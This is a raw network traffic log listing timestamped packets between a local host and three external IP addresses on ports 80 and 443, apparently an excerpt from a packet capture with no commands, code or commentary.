Dec 20, 2024 21:13:47.930387974 CET	49939	80	192.168.2.6	31.41.244.11
Dec 20, 2024 21:13:47.930659056 CET	49955	80	192.168.2.6	31.41.244.11
Dec 20, 2024 21:13:47.957467079 CET	49944	80	192.168.2.6	185.121.15.192
Dec 20, 2024 21:13:47.999196053 CET	49944	80	192.168.2.6	185.121.15.192
Dec 20, 2024 21:13:48.050214052 CET	80	49955	31.41.244.11	192.168.2.6
Dec 20, 2024 21:13:48.050321102 CET	80	49939	31.41.244.11	192.168.2.6
Dec 20, 2024 21:13:48.050426960 CET	49955	80	192.168.2.6	31.41.244.11
Dec 20, 2024 21:13:48.050427914 CET	49939	80	192.168.2.6	31.41.244.11
Dec 20, 2024 21:13:48.051389933 CET	49955	80	192.168.2.6	31.41.244.11
Dec 20, 2024 21:13:48.118902922 CET	80	49944	185.121.15.192	192.168.2.6
Dec 20, 2024 21:13:48.118947983 CET	80	49944	185.121.15.192	192.168.2.6
Dec 20, 2024 21:13:48.119143009 CET	49944	80	192.168.2.6	185.121.15.192
Dec 20, 2024 21:13:48.119355917 CET	80	49944	185.121.15.192	192.168.2.6
Dec 20, 2024 21:13:48.119440079 CET	80	49944	185.121.15.192	192.168.2.6
Dec 20, 2024 21:13:48.119539976 CET	49944	80	192.168.2.6	185.121.15.192
Dec 20, 2024 21:13:48.120270967 CET	80	49944	185.121.15.192	192.168.2.6
Dec 20, 2024 21:13:48.120455980 CET	80	49944	185.121.15.192	192.168.2.6
Dec 20, 2024 21:13:48.120522976 CET	49944	80	192.168.2.6	185.121.15.192
Dec 20, 2024 21:13:48.121215105 CET	80	49944	185.121.15.192	192.168.2.6
Dec 20, 2024 21:13:48.121284962 CET	80	49944	185.121.15.192	192.168.2.6
Dec 20, 2024 21:13:48.122143030 CET	80	49944	185.121.15.192	192.168.2.6
Dec 20, 2024 21:13:48.122205019 CET	49944	80	192.168.2.6	185.121.15.192
Dec 20, 2024 21:13:48.122272968 CET	80	49944	185.121.15.192	192.168.2.6
Dec 20, 2024 21:13:48.122325897 CET	49944	80	192.168.2.6	185.121.15.192
Dec 20, 2024 21:13:48.123095036 CET	80	49944	185.121.15.192	192.168.2.6
Dec 20, 2024 21:13:48.123181105 CET	80	49944	185.121.15.192	192.168.2.6
Dec 20, 2024 21:13:48.123414040 CET	49944	80	192.168.2.6	185.121.15.192
Dec 20, 2024 21:13:48.124031067 CET	80	49944	185.121.15.192	192.168.2.6
Dec 20, 2024 21:13:48.124123096 CET	80	49944	185.121.15.192	192.168.2.6
Dec 20, 2024 21:13:48.124172926 CET	49944	80	192.168.2.6	185.121.15.192
Dec 20, 2024 21:13:48.124943972 CET	80	49944	185.121.15.192	192.168.2.6
Dec 20, 2024 21:13:48.125094891 CET	80	49944	185.121.15.192	192.168.2.6
Dec 20, 2024 21:13:48.125149012 CET	49944	80	192.168.2.6	185.121.15.192
Dec 20, 2024 21:13:48.125957966 CET	80	49944	185.121.15.192	192.168.2.6
Dec 20, 2024 21:13:48.126027107 CET	80	49944	185.121.15.192	192.168.2.6
Dec 20, 2024 21:13:48.126089096 CET	49944	80	192.168.2.6	185.121.15.192
Dec 20, 2024 21:13:48.126859903 CET	80	49944	185.121.15.192	192.168.2.6
Dec 20, 2024 21:13:48.126986027 CET	80	49944	185.121.15.192	192.168.2.6
Dec 20, 2024 21:13:48.127053976 CET	49944	80	192.168.2.6	185.121.15.192
Dec 20, 2024 21:13:48.127793074 CET	80	49944	185.121.15.192	192.168.2.6
Dec 20, 2024 21:13:48.127886057 CET	80	49944	185.121.15.192	192.168.2.6
Dec 20, 2024 21:13:48.127937078 CET	49944	80	192.168.2.6	185.121.15.192
Dec 20, 2024 21:13:48.128695965 CET	80	49944	185.121.15.192	192.168.2.6
Dec 20, 2024 21:13:48.128807068 CET	80	49944	185.121.15.192	192.168.2.6
Dec 20, 2024 21:13:48.128890991 CET	49944	80	192.168.2.6	185.121.15.192
Dec 20, 2024 21:13:48.129699945 CET	80	49944	185.121.15.192	192.168.2.6
Dec 20, 2024 21:13:48.129827023 CET	80	49944	185.121.15.192	192.168.2.6
Dec 20, 2024 21:13:48.129995108 CET	49944	80	192.168.2.6	185.121.15.192
Dec 20, 2024 21:13:48.130709887 CET	80	49944	185.121.15.192	192.168.2.6
Dec 20, 2024 21:13:48.130841970 CET	80	49944	185.121.15.192	192.168.2.6
Dec 20, 2024 21:13:48.130903959 CET	49944	80	192.168.2.6	185.121.15.192
Dec 20, 2024 21:13:48.131736994 CET	80	49944	185.121.15.192	192.168.2.6
Dec 20, 2024 21:13:48.132030010 CET	80	49944	185.121.15.192	192.168.2.6
Dec 20, 2024 21:13:48.132247925 CET	49944	80	192.168.2.6	185.121.15.192
Dec 20, 2024 21:13:48.132563114 CET	80	49944	185.121.15.192	192.168.2.6
Dec 20, 2024 21:13:48.132647038 CET	80	49944	185.121.15.192	192.168.2.6
Dec 20, 2024 21:13:48.132839918 CET	49944	80	192.168.2.6	185.121.15.192
Dec 20, 2024 21:13:48.133553028 CET	80	49944	185.121.15.192	192.168.2.6
Dec 20, 2024 21:13:48.133632898 CET	80	49944	185.121.15.192	192.168.2.6
Dec 20, 2024 21:13:48.134064913 CET	49944	80	192.168.2.6	185.121.15.192
Dec 20, 2024 21:13:48.134393930 CET	80	49944	185.121.15.192	192.168.2.6
Dec 20, 2024 21:13:48.134488106 CET	80	49944	185.121.15.192	192.168.2.6
Dec 20, 2024 21:13:48.134548903 CET	49944	80	192.168.2.6	185.121.15.192
Dec 20, 2024 21:13:48.135327101 CET	80	49944	185.121.15.192	192.168.2.6
Dec 20, 2024 21:13:48.135432959 CET	80	49944	185.121.15.192	192.168.2.6
Dec 20, 2024 21:13:48.135747910 CET	49944	80	192.168.2.6	185.121.15.192
Dec 20, 2024 21:13:48.136307955 CET	80	49944	185.121.15.192	192.168.2.6
Dec 20, 2024 21:13:48.136399984 CET	80	49944	185.121.15.192	192.168.2.6
Dec 20, 2024 21:13:48.136452913 CET	49944	80	192.168.2.6	185.121.15.192
Dec 20, 2024 21:13:48.137254000 CET	80	49944	185.121.15.192	192.168.2.6
Dec 20, 2024 21:13:48.137427092 CET	80	49944	185.121.15.192	192.168.2.6
Dec 20, 2024 21:13:48.138276100 CET	80	49944	185.121.15.192	192.168.2.6
Dec 20, 2024 21:13:48.138326883 CET	49944	80	192.168.2.6	185.121.15.192
Dec 20, 2024 21:13:48.138381958 CET	80	49944	185.121.15.192	192.168.2.6
Dec 20, 2024 21:13:48.138426065 CET	49944	80	192.168.2.6	185.121.15.192
Dec 20, 2024 21:13:48.139136076 CET	80	49944	185.121.15.192	192.168.2.6
Dec 20, 2024 21:13:48.139230967 CET	80	49944	185.121.15.192	192.168.2.6
Dec 20, 2024 21:13:48.139542103 CET	49944	80	192.168.2.6	185.121.15.192
Dec 20, 2024 21:13:48.140105009 CET	80	49944	185.121.15.192	192.168.2.6
Dec 20, 2024 21:13:48.140327930 CET	80	49944	185.121.15.192	192.168.2.6
Dec 20, 2024 21:13:48.140537024 CET	49944	80	192.168.2.6	185.121.15.192
Dec 20, 2024 21:13:48.141064882 CET	80	49944	185.121.15.192	192.168.2.6
Dec 20, 2024 21:13:48.141228914 CET	80	49944	185.121.15.192	192.168.2.6
Dec 20, 2024 21:13:48.141275883 CET	49944	80	192.168.2.6	185.121.15.192
Dec 20, 2024 21:13:48.141962051 CET	80	49944	185.121.15.192	192.168.2.6
Dec 20, 2024 21:13:48.142035007 CET	80	49944	185.121.15.192	192.168.2.6
Dec 20, 2024 21:13:48.142086029 CET	49944	80	192.168.2.6	185.121.15.192
Dec 20, 2024 21:13:48.142488956 CET	80	49944	185.121.15.192	192.168.2.6
Dec 20, 2024 21:13:48.142662048 CET	80	49944	185.121.15.192	192.168.2.6
Dec 20, 2024 21:13:48.142723083 CET	49944	80	192.168.2.6	185.121.15.192
Dec 20, 2024 21:13:48.143440008 CET	80	49944	185.121.15.192	192.168.2.6
Dec 20, 2024 21:13:48.143534899 CET	80	49944	185.121.15.192	192.168.2.6
Dec 20, 2024 21:13:48.143743992 CET	49944	80	192.168.2.6	185.121.15.192
Dec 20, 2024 21:13:48.144474983 CET	80	49944	185.121.15.192	192.168.2.6
Dec 20, 2024 21:13:48.144546032 CET	80	49944	185.121.15.192	192.168.2.6
Dec 20, 2024 21:13:48.144603968 CET	49944	80	192.168.2.6	185.121.15.192
Dec 20, 2024 21:13:48.145358086 CET	80	49944	185.121.15.192	192.168.2.6
Dec 20, 2024 21:13:48.145548105 CET	80	49944	185.121.15.192	192.168.2.6
Dec 20, 2024 21:13:48.145620108 CET	49944	80	192.168.2.6	185.121.15.192
Dec 20, 2024 21:13:48.146410942 CET	80	49944	185.121.15.192	192.168.2.6
Dec 20, 2024 21:13:48.146725893 CET	80	49944	185.121.15.192	192.168.2.6
Dec 20, 2024 21:13:48.146807909 CET	49944	80	192.168.2.6	185.121.15.192
Dec 20, 2024 21:13:48.147444010 CET	80	49944	185.121.15.192	192.168.2.6
Dec 20, 2024 21:13:48.147511005 CET	80	49944	185.121.15.192	192.168.2.6
Dec 20, 2024 21:13:48.147557974 CET	49944	80	192.168.2.6	185.121.15.192
Dec 20, 2024 21:13:48.148448944 CET	80	49944	185.121.15.192	192.168.2.6
Dec 20, 2024 21:13:48.148555994 CET	80	49944	185.121.15.192	192.168.2.6
Dec 20, 2024 21:13:48.148737907 CET	49944	80	192.168.2.6	185.121.15.192
Dec 20, 2024 21:13:48.149451971 CET	80	49944	185.121.15.192	192.168.2.6
Dec 20, 2024 21:13:48.149588108 CET	80	49944	185.121.15.192	192.168.2.6
Dec 20, 2024 21:13:48.149641991 CET	49944	80	192.168.2.6	185.121.15.192
Dec 20, 2024 21:13:48.150085926 CET	80	49944	185.121.15.192	192.168.2.6
Dec 20, 2024 21:13:48.150259972 CET	80	49944	185.121.15.192	192.168.2.6
Dec 20, 2024 21:13:48.150399923 CET	49944	80	192.168.2.6	185.121.15.192
Dec 20, 2024 21:13:48.151055098 CET	80	49944	185.121.15.192	192.168.2.6
Dec 20, 2024 21:13:48.151134968 CET	80	49944	185.121.15.192	192.168.2.6
Dec 20, 2024 21:13:48.151180983 CET	49944	80	192.168.2.6	185.121.15.192
Dec 20, 2024 21:13:48.151954889 CET	80	49944	185.121.15.192	192.168.2.6
Dec 20, 2024 21:13:48.152053118 CET	80	49944	185.121.15.192	192.168.2.6
Dec 20, 2024 21:13:48.152113914 CET	49944	80	192.168.2.6	185.121.15.192
Dec 20, 2024 21:13:48.152957916 CET	80	49944	185.121.15.192	192.168.2.6
Dec 20, 2024 21:13:48.153083086 CET	80	49944	185.121.15.192	192.168.2.6
Dec 20, 2024 21:13:48.153137922 CET	49944	80	192.168.2.6	185.121.15.192
Dec 20, 2024 21:13:48.153860092 CET	80	49944	185.121.15.192	192.168.2.6
Dec 20, 2024 21:13:48.153989077 CET	80	49944	185.121.15.192	192.168.2.6
Dec 20, 2024 21:13:48.154217958 CET	49944	80	192.168.2.6	185.121.15.192
Dec 20, 2024 21:13:48.154917002 CET	80	49944	185.121.15.192	192.168.2.6
Dec 20, 2024 21:13:48.154928923 CET	80	49944	185.121.15.192	192.168.2.6
Dec 20, 2024 21:13:48.154983044 CET	49944	80	192.168.2.6	185.121.15.192
Dec 20, 2024 21:13:48.155846119 CET	80	49944	185.121.15.192	192.168.2.6
Dec 20, 2024 21:13:48.155915022 CET	80	49944	185.121.15.192	192.168.2.6
Dec 20, 2024 21:13:48.156033039 CET	49944	80	192.168.2.6	185.121.15.192
Dec 20, 2024 21:13:48.156697035 CET	80	49944	185.121.15.192	192.168.2.6
Dec 20, 2024 21:13:48.156872988 CET	80	49944	185.121.15.192	192.168.2.6
Dec 20, 2024 21:13:48.157619953 CET	80	49944	185.121.15.192	192.168.2.6
Dec 20, 2024 21:13:48.157682896 CET	49944	80	192.168.2.6	185.121.15.192
Dec 20, 2024 21:13:48.157720089 CET	80	49944	185.121.15.192	192.168.2.6
Dec 20, 2024 21:13:48.157774925 CET	49944	80	192.168.2.6	185.121.15.192
Dec 20, 2024 21:13:48.158554077 CET	80	49944	185.121.15.192	192.168.2.6
Dec 20, 2024 21:13:48.158660889 CET	80	49944	185.121.15.192	192.168.2.6
Dec 20, 2024 21:13:48.158721924 CET	49944	80	192.168.2.6	185.121.15.192
Dec 20, 2024 21:13:48.159637928 CET	80	49944	185.121.15.192	192.168.2.6
Dec 20, 2024 21:13:48.159759045 CET	80	49944	185.121.15.192	192.168.2.6
Dec 20, 2024 21:13:48.159851074 CET	49944	80	192.168.2.6	185.121.15.192
Dec 20, 2024 21:13:48.160615921 CET	80	49944	185.121.15.192	192.168.2.6
Dec 20, 2024 21:13:48.160902023 CET	80	49944	185.121.15.192	192.168.2.6
Dec 20, 2024 21:13:48.161047935 CET	49944	80	192.168.2.6	185.121.15.192
Dec 20, 2024 21:13:48.161410093 CET	80	49944	185.121.15.192	192.168.2.6
Dec 20, 2024 21:13:48.161461115 CET	80	49944	185.121.15.192	192.168.2.6
Dec 20, 2024 21:13:48.161524057 CET	49944	80	192.168.2.6	185.121.15.192
Dec 20, 2024 21:13:48.162339926 CET	80	49944	185.121.15.192	192.168.2.6
Dec 20, 2024 21:13:48.162525892 CET	80	49944	185.121.15.192	192.168.2.6
Dec 20, 2024 21:13:48.162640095 CET	49944	80	192.168.2.6	185.121.15.192
Dec 20, 2024 21:13:48.163286924 CET	80	49944	185.121.15.192	192.168.2.6
Dec 20, 2024 21:13:48.163480997 CET	80	49944	185.121.15.192	192.168.2.6
Dec 20, 2024 21:13:48.163552999 CET	49944	80	192.168.2.6	185.121.15.192
Dec 20, 2024 21:13:48.164256096 CET	80	49944	185.121.15.192	192.168.2.6
Dec 20, 2024 21:13:48.164344072 CET	80	49944	185.121.15.192	192.168.2.6
Dec 20, 2024 21:13:48.164808035 CET	49944	80	192.168.2.6	185.121.15.192
Dec 20, 2024 21:13:48.165190935 CET	80	49944	185.121.15.192	192.168.2.6
Dec 20, 2024 21:13:48.165286064 CET	80	49944	185.121.15.192	192.168.2.6
Dec 20, 2024 21:13:48.165343046 CET	49944	80	192.168.2.6	185.121.15.192
Dec 20, 2024 21:13:48.166110039 CET	80	49944	185.121.15.192	192.168.2.6
Dec 20, 2024 21:13:48.166296005 CET	80	49944	185.121.15.192	192.168.2.6
Dec 20, 2024 21:13:48.166520119 CET	49944	80	192.168.2.6	185.121.15.192
Dec 20, 2024 21:13:48.167057991 CET	80	49944	185.121.15.192	192.168.2.6
Dec 20, 2024 21:13:48.167171955 CET	80	49944	185.121.15.192	192.168.2.6
Dec 20, 2024 21:13:48.167223930 CET	49944	80	192.168.2.6	185.121.15.192
Dec 20, 2024 21:13:48.168015003 CET	80	49944	185.121.15.192	192.168.2.6
Dec 20, 2024 21:13:48.168210030 CET	80	49944	185.121.15.192	192.168.2.6
Dec 20, 2024 21:13:48.168309927 CET	49944	80	192.168.2.6	185.121.15.192
Dec 20, 2024 21:13:48.168953896 CET	80	49944	185.121.15.192	192.168.2.6
Dec 20, 2024 21:13:48.169058084 CET	80	49944	185.121.15.192	192.168.2.6
Dec 20, 2024 21:13:48.169121981 CET	49944	80	192.168.2.6	185.121.15.192
Dec 20, 2024 21:13:48.169888973 CET	80	49944	185.121.15.192	192.168.2.6
Dec 20, 2024 21:13:48.169996977 CET	80	49944	185.121.15.192	192.168.2.6
Dec 20, 2024 21:13:48.170053005 CET	49944	80	192.168.2.6	185.121.15.192
Dec 20, 2024 21:13:48.170835972 CET	80	49944	185.121.15.192	192.168.2.6
Dec 20, 2024 21:13:48.170937061 CET	80	49944	185.121.15.192	192.168.2.6
Dec 20, 2024 21:13:48.171062946 CET	49944	80	192.168.2.6	185.121.15.192
Dec 20, 2024 21:13:48.171073914 CET	80	49955	31.41.244.11	192.168.2.6
Dec 20, 2024 21:13:48.171823025 CET	80	49944	185.121.15.192	192.168.2.6
Dec 20, 2024 21:13:48.171900988 CET	80	49944	185.121.15.192	192.168.2.6
Dec 20, 2024 21:13:48.172058105 CET	49944	80	192.168.2.6	185.121.15.192
Dec 20, 2024 21:13:48.172760010 CET	80	49944	185.121.15.192	192.168.2.6
Dec 20, 2024 21:13:48.172868013 CET	80	49944	185.121.15.192	192.168.2.6
Dec 20, 2024 21:13:48.173046112 CET	49944	80	192.168.2.6	185.121.15.192
Dec 20, 2024 21:13:48.173707008 CET	80	49944	185.121.15.192	192.168.2.6
Dec 20, 2024 21:13:48.173813105 CET	80	49944	185.121.15.192	192.168.2.6
Dec 20, 2024 21:13:48.173865080 CET	49944	80	192.168.2.6	185.121.15.192
Dec 20, 2024 21:13:48.174643993 CET	80	49944	185.121.15.192	192.168.2.6
Dec 20, 2024 21:13:48.174777031 CET	80	49944	185.121.15.192	192.168.2.6
Dec 20, 2024 21:13:48.174886942 CET	49944	80	192.168.2.6	185.121.15.192
Dec 20, 2024 21:13:48.175595045 CET	80	49944	185.121.15.192	192.168.2.6
Dec 20, 2024 21:13:48.175688982 CET	80	49944	185.121.15.192	192.168.2.6
Dec 20, 2024 21:13:48.175744057 CET	49944	80	192.168.2.6	185.121.15.192
Dec 20, 2024 21:13:48.176536083 CET	80	49944	185.121.15.192	192.168.2.6
Dec 20, 2024 21:13:48.176616907 CET	80	49944	185.121.15.192	192.168.2.6
Dec 20, 2024 21:13:48.176815033 CET	49944	80	192.168.2.6	185.121.15.192
Dec 20, 2024 21:13:48.177459002 CET	80	49944	185.121.15.192	192.168.2.6
Dec 20, 2024 21:13:48.177584887 CET	80	49944	185.121.15.192	192.168.2.6
Dec 20, 2024 21:13:48.177676916 CET	49944	80	192.168.2.6	185.121.15.192
Dec 20, 2024 21:13:48.178447962 CET	80	49944	185.121.15.192	192.168.2.6
Dec 20, 2024 21:13:48.178533077 CET	80	49944	185.121.15.192	192.168.2.6
Dec 20, 2024 21:13:48.178702116 CET	49944	80	192.168.2.6	185.121.15.192
Dec 20, 2024 21:13:48.179493904 CET	80	49944	185.121.15.192	192.168.2.6
Dec 20, 2024 21:13:48.179615021 CET	80	49944	185.121.15.192	192.168.2.6
Dec 20, 2024 21:13:48.179682970 CET	49944	80	192.168.2.6	185.121.15.192
Dec 20, 2024 21:13:48.180633068 CET	80	49944	185.121.15.192	192.168.2.6
Dec 20, 2024 21:13:48.180701971 CET	80	49944	185.121.15.192	192.168.2.6
Dec 20, 2024 21:13:48.180948973 CET	49944	80	192.168.2.6	185.121.15.192
Dec 20, 2024 21:13:48.181375027 CET	80	49944	185.121.15.192	192.168.2.6
Dec 20, 2024 21:13:48.181447029 CET	80	49944	185.121.15.192	192.168.2.6
Dec 20, 2024 21:13:48.181530952 CET	49944	80	192.168.2.6	185.121.15.192
Dec 20, 2024 21:13:48.182226896 CET	80	49944	185.121.15.192	192.168.2.6
Dec 20, 2024 21:13:48.182356119 CET	80	49944	185.121.15.192	192.168.2.6
Dec 20, 2024 21:13:48.182622910 CET	49944	80	192.168.2.6	185.121.15.192
Dec 20, 2024 21:13:48.183120012 CET	80	49944	185.121.15.192	192.168.2.6
Dec 20, 2024 21:13:48.183223009 CET	80	49944	185.121.15.192	192.168.2.6
Dec 20, 2024 21:13:48.183284044 CET	49944	80	192.168.2.6	185.121.15.192
Dec 20, 2024 21:13:48.184053898 CET	80	49944	185.121.15.192	192.168.2.6
Dec 20, 2024 21:13:48.184138060 CET	80	49944	185.121.15.192	192.168.2.6
Dec 20, 2024 21:13:48.184348106 CET	49944	80	192.168.2.6	185.121.15.192
Dec 20, 2024 21:13:48.184998035 CET	80	49944	185.121.15.192	192.168.2.6
Dec 20, 2024 21:13:48.185112000 CET	80	49944	185.121.15.192	192.168.2.6
Dec 20, 2024 21:13:48.185169935 CET	49944	80	192.168.2.6	185.121.15.192
Dec 20, 2024 21:13:48.185971022 CET	80	49944	185.121.15.192	192.168.2.6
Dec 20, 2024 21:13:48.186114073 CET	80	49944	185.121.15.192	192.168.2.6
Dec 20, 2024 21:13:48.186167955 CET	49944	80	192.168.2.6	185.121.15.192
Dec 20, 2024 21:13:48.186906099 CET	80	49944	185.121.15.192	192.168.2.6
Dec 20, 2024 21:13:48.186994076 CET	80	49944	185.121.15.192	192.168.2.6
Dec 20, 2024 21:13:48.187218904 CET	49944	80	192.168.2.6	185.121.15.192
Dec 20, 2024 21:13:48.187832117 CET	80	49944	185.121.15.192	192.168.2.6
Dec 20, 2024 21:13:48.187906981 CET	80	49944	185.121.15.192	192.168.2.6
Dec 20, 2024 21:13:48.187978983 CET	49944	80	192.168.2.6	185.121.15.192
Dec 20, 2024 21:13:48.188771009 CET	80	49944	185.121.15.192	192.168.2.6
Dec 20, 2024 21:13:48.188919067 CET	80	49944	185.121.15.192	192.168.2.6
Dec 20, 2024 21:13:48.188975096 CET	49944	80	192.168.2.6	185.121.15.192
Dec 20, 2024 21:13:48.189898014 CET	80	49944	185.121.15.192	192.168.2.6
Dec 20, 2024 21:13:48.190032005 CET	80	49944	185.121.15.192	192.168.2.6
Dec 20, 2024 21:13:48.190542936 CET	49944	80	192.168.2.6	185.121.15.192
Dec 20, 2024 21:13:48.190953016 CET	80	49944	185.121.15.192	192.168.2.6
Dec 20, 2024 21:13:48.191025972 CET	80	49944	185.121.15.192	192.168.2.6
Dec 20, 2024 21:13:48.191814899 CET	80	49944	185.121.15.192	192.168.2.6
Dec 20, 2024 21:13:48.191886902 CET	49944	80	192.168.2.6	185.121.15.192
Dec 20, 2024 21:13:48.192040920 CET	80	49944	185.121.15.192	192.168.2.6
Dec 20, 2024 21:13:48.192097902 CET	49944	80	192.168.2.6	185.121.15.192
Dec 20, 2024 21:13:48.192622900 CET	80	49944	185.121.15.192	192.168.2.6
Dec 20, 2024 21:13:48.192698956 CET	80	49944	185.121.15.192	192.168.2.6
Dec 20, 2024 21:13:48.193523884 CET	80	49944	185.121.15.192	192.168.2.6
Dec 20, 2024 21:13:48.193587065 CET	49944	80	192.168.2.6	185.121.15.192
Dec 20, 2024 21:13:48.193627119 CET	80	49944	185.121.15.192	192.168.2.6
Dec 20, 2024 21:13:48.193681002 CET	49944	80	192.168.2.6	185.121.15.192
Dec 20, 2024 21:13:48.194442034 CET	80	49944	185.121.15.192	192.168.2.6
Dec 20, 2024 21:13:48.194596052 CET	80	49944	185.121.15.192	192.168.2.6
Dec 20, 2024 21:13:48.194685936 CET	49944	80	192.168.2.6	185.121.15.192
Dec 20, 2024 21:13:48.195368052 CET	80	49944	185.121.15.192	192.168.2.6
Dec 20, 2024 21:13:48.195574045 CET	80	49944	185.121.15.192	192.168.2.6
Dec 20, 2024 21:13:48.195647001 CET	49944	80	192.168.2.6	185.121.15.192
Dec 20, 2024 21:13:48.196324110 CET	80	49944	185.121.15.192	192.168.2.6
Dec 20, 2024 21:13:48.196415901 CET	80	49944	185.121.15.192	192.168.2.6
Dec 20, 2024 21:13:48.196512938 CET	49944	80	192.168.2.6	185.121.15.192
Dec 20, 2024 21:13:48.197300911 CET	80	49944	185.121.15.192	192.168.2.6
Dec 20, 2024 21:13:48.197447062 CET	80	49944	185.121.15.192	192.168.2.6
Dec 20, 2024 21:13:48.197571993 CET	49944	80	192.168.2.6	185.121.15.192
Dec 20, 2024 21:13:48.198251009 CET	80	49944	185.121.15.192	192.168.2.6
Dec 20, 2024 21:13:48.198326111 CET	80	49944	185.121.15.192	192.168.2.6
Dec 20, 2024 21:13:48.198376894 CET	49944	80	192.168.2.6	185.121.15.192
Dec 20, 2024 21:13:48.199199915 CET	80	49944	185.121.15.192	192.168.2.6
Dec 20, 2024 21:13:48.199306965 CET	80	49944	185.121.15.192	192.168.2.6
Dec 20, 2024 21:13:48.200125933 CET	80	49944	185.121.15.192	192.168.2.6
Dec 20, 2024 21:13:48.200191975 CET	49944	80	192.168.2.6	185.121.15.192
Dec 20, 2024 21:13:48.200218916 CET	80	49944	185.121.15.192	192.168.2.6
Dec 20, 2024 21:13:48.200272083 CET	49944	80	192.168.2.6	185.121.15.192
Dec 20, 2024 21:13:48.201040983 CET	80	49944	185.121.15.192	192.168.2.6
Dec 20, 2024 21:13:48.201167107 CET	80	49944	185.121.15.192	192.168.2.6
Dec 20, 2024 21:13:48.201234102 CET	49944	80	192.168.2.6	185.121.15.192
Dec 20, 2024 21:13:48.202003002 CET	80	49944	185.121.15.192	192.168.2.6
Dec 20, 2024 21:13:48.202100039 CET	80	49944	185.121.15.192	192.168.2.6
Dec 20, 2024 21:13:48.202152967 CET	49944	80	192.168.2.6	185.121.15.192
Dec 20, 2024 21:13:48.202970982 CET	80	49944	185.121.15.192	192.168.2.6
Dec 20, 2024 21:13:48.203071117 CET	80	49944	185.121.15.192	192.168.2.6
Dec 20, 2024 21:13:48.203128099 CET	49944	80	192.168.2.6	185.121.15.192
Dec 20, 2024 21:13:48.203912020 CET	80	49944	185.121.15.192	192.168.2.6
Dec 20, 2024 21:13:48.204072952 CET	80	49944	185.121.15.192	192.168.2.6
Dec 20, 2024 21:13:48.204271078 CET	49944	80	192.168.2.6	185.121.15.192
Dec 20, 2024 21:13:48.204853058 CET	80	49944	185.121.15.192	192.168.2.6
Dec 20, 2024 21:13:48.204981089 CET	80	49944	185.121.15.192	192.168.2.6
Dec 20, 2024 21:13:48.205091000 CET	49944	80	192.168.2.6	185.121.15.192
Dec 20, 2024 21:13:48.205821037 CET	80	49944	185.121.15.192	192.168.2.6
Dec 20, 2024 21:13:48.205893040 CET	80	49944	185.121.15.192	192.168.2.6
Dec 20, 2024 21:13:48.205941916 CET	49944	80	192.168.2.6	185.121.15.192
Dec 20, 2024 21:13:48.206717014 CET	80	49944	185.121.15.192	192.168.2.6
Dec 20, 2024 21:13:48.206907034 CET	80	49944	185.121.15.192	192.168.2.6
Dec 20, 2024 21:13:48.206969976 CET	49944	80	192.168.2.6	185.121.15.192
Dec 20, 2024 21:13:48.207690001 CET	80	49944	185.121.15.192	192.168.2.6
Dec 20, 2024 21:13:48.207784891 CET	80	49944	185.121.15.192	192.168.2.6
Dec 20, 2024 21:13:48.207849026 CET	49944	80	192.168.2.6	185.121.15.192
Dec 20, 2024 21:13:48.208666086 CET	80	49944	185.121.15.192	192.168.2.6
Dec 20, 2024 21:13:48.208792925 CET	80	49944	185.121.15.192	192.168.2.6
Dec 20, 2024 21:13:48.208849907 CET	49944	80	192.168.2.6	185.121.15.192
Dec 20, 2024 21:13:48.209537029 CET	80	49944	185.121.15.192	192.168.2.6
Dec 20, 2024 21:13:48.209616899 CET	80	49944	185.121.15.192	192.168.2.6
Dec 20, 2024 21:13:48.209685087 CET	49944	80	192.168.2.6	185.121.15.192
Dec 20, 2024 21:13:48.210469961 CET	80	49944	185.121.15.192	192.168.2.6
Dec 20, 2024 21:13:48.210604906 CET	80	49944	185.121.15.192	192.168.2.6
Dec 20, 2024 21:13:48.210654974 CET	49944	80	192.168.2.6	185.121.15.192
Dec 20, 2024 21:13:48.211433887 CET	80	49944	185.121.15.192	192.168.2.6
Dec 20, 2024 21:13:48.211546898 CET	80	49944	185.121.15.192	192.168.2.6
Dec 20, 2024 21:13:48.211613894 CET	49944	80	192.168.2.6	185.121.15.192
Dec 20, 2024 21:13:48.212409973 CET	80	49944	185.121.15.192	192.168.2.6
Dec 20, 2024 21:13:48.212481976 CET	80	49944	185.121.15.192	192.168.2.6
Dec 20, 2024 21:13:48.212654114 CET	49944	80	192.168.2.6	185.121.15.192
Dec 20, 2024 21:13:48.213407993 CET	80	49944	185.121.15.192	192.168.2.6
Dec 20, 2024 21:13:48.213427067 CET	80	49944	185.121.15.192	192.168.2.6
Dec 20, 2024 21:13:48.213490963 CET	49944	80	192.168.2.6	185.121.15.192
Dec 20, 2024 21:13:48.214263916 CET	80	49944	185.121.15.192	192.168.2.6
Dec 20, 2024 21:13:48.214390039 CET	80	49944	185.121.15.192	192.168.2.6
Dec 20, 2024 21:13:48.214452028 CET	49944	80	192.168.2.6	185.121.15.192
Dec 20, 2024 21:13:48.215194941 CET	80	49944	185.121.15.192	192.168.2.6
Dec 20, 2024 21:13:48.215323925 CET	80	49944	185.121.15.192	192.168.2.6
Dec 20, 2024 21:13:48.215409994 CET	49944	80	192.168.2.6	185.121.15.192
Dec 20, 2024 21:13:48.216131926 CET	80	49944	185.121.15.192	192.168.2.6
Dec 20, 2024 21:13:48.216275930 CET	80	49944	185.121.15.192	192.168.2.6
Dec 20, 2024 21:13:48.216330051 CET	49944	80	192.168.2.6	185.121.15.192
Dec 20, 2024 21:13:48.217073917 CET	80	49944	185.121.15.192	192.168.2.6
Dec 20, 2024 21:13:48.217169046 CET	80	49944	185.121.15.192	192.168.2.6
Dec 20, 2024 21:13:48.217252970 CET	49944	80	192.168.2.6	185.121.15.192
Dec 20, 2024 21:13:48.239309072 CET	80	49944	185.121.15.192	192.168.2.6
Dec 20, 2024 21:13:48.239393950 CET	80	49944	185.121.15.192	192.168.2.6
Dec 20, 2024 21:13:48.239612103 CET	49944	80	192.168.2.6	185.121.15.192
Dec 20, 2024 21:13:48.314830065 CET	443	49950	104.21.91.209	192.168.2.6
Dec 20, 2024 21:13:48.314939976 CET	443	49950	104.21.91.209	192.168.2.6
Dec 20, 2024 21:13:48.315006971 CET	49950	443	192.168.2.6	104.21.91.209
Dec 20, 2024 21:13:48.320276022 CET	49950	443	192.168.2.6	104.21.91.209
Dec 20, 2024 21:13:48.320297003 CET	443	49950	104.21.91.209	192.168.2.6
Dec 20, 2024 21:13:48.336054087 CET	49958	443	192.168.2.6	104.21.91.209
Dec 20, 2024 21:13:48.336107969 CET	443	49958	104.21.91.209	192.168.2.6
Dec 20, 2024 21:13:48.336205006 CET	49958	443	192.168.2.6	104.21.91.209
Dec 20, 2024 21:13:48.336482048 CET	49958	443	192.168.2.6	104.21.91.209
